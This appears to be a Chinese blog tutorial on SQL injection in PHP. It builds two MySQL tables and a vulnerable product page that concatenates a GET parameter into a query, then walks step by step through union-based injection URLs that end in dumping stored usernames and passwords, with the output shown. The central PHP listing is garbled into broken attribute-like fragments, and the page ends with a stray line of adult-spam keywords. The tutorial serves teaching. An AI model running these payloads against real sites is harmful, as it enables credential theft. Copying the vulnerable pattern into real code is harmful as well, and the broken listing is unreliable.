溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

PHP的SQL注入完整過程

發布時間:2021-08-30 17:00:14 來源:億速云 閱讀:234 作者:chen 欄目:數據庫

這篇文章主要介紹“PHP的SQL注入完整過程”,在日常操作中,相信很多人在PHP的SQL注入完整過程問題上存在疑惑,小編查閱了各式資料,整理出簡單好用的操作方法,希望對大家解答”PHP的SQL注入完整過程”的疑惑有所幫助!接下來,請跟著小編一起來學習吧!

  SQL注入就是通過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。

  首先觀察兩個MYSQL數據表

  用戶記錄表:

  REATE TABLE `php_user` (

  `id` int(11) NOT NULL auto_increment,

  `username` varchar(20) NOT NULL default '',

  `password` varchar(20) NOT NULL default '',

  `userlevel` char(2) NOT NULL default '0',

  PRIMARY KEY (`id`)

  ) TYPE=MyISAM AUTO_INCREMENT=3 ;

  INSERT INTO `php_user` VALUES (1, 'seven', 'seven_pwd', '10');

  INSERT INTO `php_user` VALUES (2, 'swons', 'swons_pwd', '');

  產品記錄列表:

  CREATE TABLE `php_product` (

  `id` int(11) NOT NULL auto_increment,

  `name` varchar(100) NOT NULL default '',

  `price` float NOT NULL default '0',

  `img` varchar(200) NOT NULL default '',

  PRIMARY KEY (`id`)

  ) TYPE=MyISAM AUTO_INCREMENT=3 ;

  INSERT INTO `php_product` VALUES (1, 'name_1', 12.2, 'images/name_1.jpg');

  INSERT INTO `php_product` VALUES (2, 'name_2', 35.25, 'images/name_2.jpg');

  以下文件是show_product.php用于顯示產品列表。SQL注入也是利用此文件的SQL語句漏洞

  $conn = mysql_connect("localhost", "root", "root");

  if(!$conn){

  echo "數據庫聯接錯誤";

  exit;

  }

  if (!mysql_select_db("phpsql")) {

  echo "選擇數據庫出錯" . mysql_error();

  exit;

  }

  $tempID=$_GET['id'];

  if($tempID<=0 tempid="1;" sql="SELECT * FROM php_product WHERE id =$tempID" echo="" result="mysql_query($sql);" if="" .="" while="" row="mysql_fetch_assoc($result))">

  觀察此語句:$sql = "SELECT * FROM php_product WHERE id =$tempID";

  $tempID是從$_GET得到。我們可以構造這個變量的值,從而達到SQL注入的目的

  分別構造以下鏈接:

  1、 http://localhost/phpsql/index.php?id=1

  得到以下輸出

  SELECT * FROM php_product WHERE id =1 //當前執行的SQL語句

  //得到ID為1的產品資料列表

  ID:1

  name:name_1

  price:12.2

  image:images/name_1.jpg

  2、 http://localhost/phpsql/index.php?id=1 or 1=1

  得到輸出

  SELECT * FROM php_product WHERE id =1 or 1=1 //當前執行的SQL語句

  //一共兩條產品資料列表

  ID:1

  name:name_1

  price:12.2

  image:images/name_1.jpg

  ID:2

  name:name_2

  price:35.25

  image:images/name_2.jpg

  1和2都得到資料列表輸出,證明SQL語句執行成功

  判斷數據表字段數量

  http://localhost/phpsql/index.php?id=1 union select 1,1,1,1

  得到輸出

  SELECT * FROM php_product WHERE id =1 union select 1,1,1,1 //當前執行的SQL語句

  //一共兩條記錄,注意第二條的記錄為全1,這是union select聯合查詢的結果。

  ID:1

  name:name_1

  price:12.2

  image:images/name_1.jpg

  ID:1

  name:1

  price:1

  image:1

  判斷數據表字段類型

  http://localhost/phpsql/index.php?id=1 union select char(65),char(65),char(65),char(65)

  得到輸出

  SELECT * FROM php_product WHERE id =1 union select char(65),char(65),char(65),char(65)

  ID:1

  name:name_1

  price:12.2

  image:images/name_1.jpg

  ID:0

  name:A

  price:0

  image:A

  注意第二條記錄,如果后面的值等于A,說明這個字段與union查詢后面構造的字段類型相符。此時union后面

  為char(65),表示字符串類型。經過觀察??梢园l現name字段和image字段的類型都是字符串類型

  大功告成,得到我們想要的東西:

  http://localhost/phpsql/index.php?id=10000 union select 1,username,1,password from php_user

  得到輸出:

  SELECT * FROM php_product WHERE id =10000 union select 1,username,1,password from php_user

  //輸出了兩條用戶資料,name為用戶名稱,image為用戶密碼。

  ID:1

  name:seven

  price:1

  image:seven_pwd

  ID:1

  name:swons

  price:1

  image:swons_pwd

  注意URL中的ID=10000是為了不得到產品資料,只得到后面union的查詢結果。更具實際情況ID的值有所不同

  union的username和password必須放在2和4的位置上。這樣才能和前面的select語句匹配。這是union查詢

  語句的特點

  備注:

  這個簡單的注入方法是更具特定環境的。實際中比這復雜。但是原理是相同的。

到此,關于“PHP的SQL注入完整過程”的學習就結束了,希望能夠解決大家的疑惑。理論與實踐的搭配能更好的幫助大家學習,快去試試吧!若想繼續學習更多相關知識,請繼續關注億速云網站,小編會繼續努力為大家帶來更多實用的文章!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

php
AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女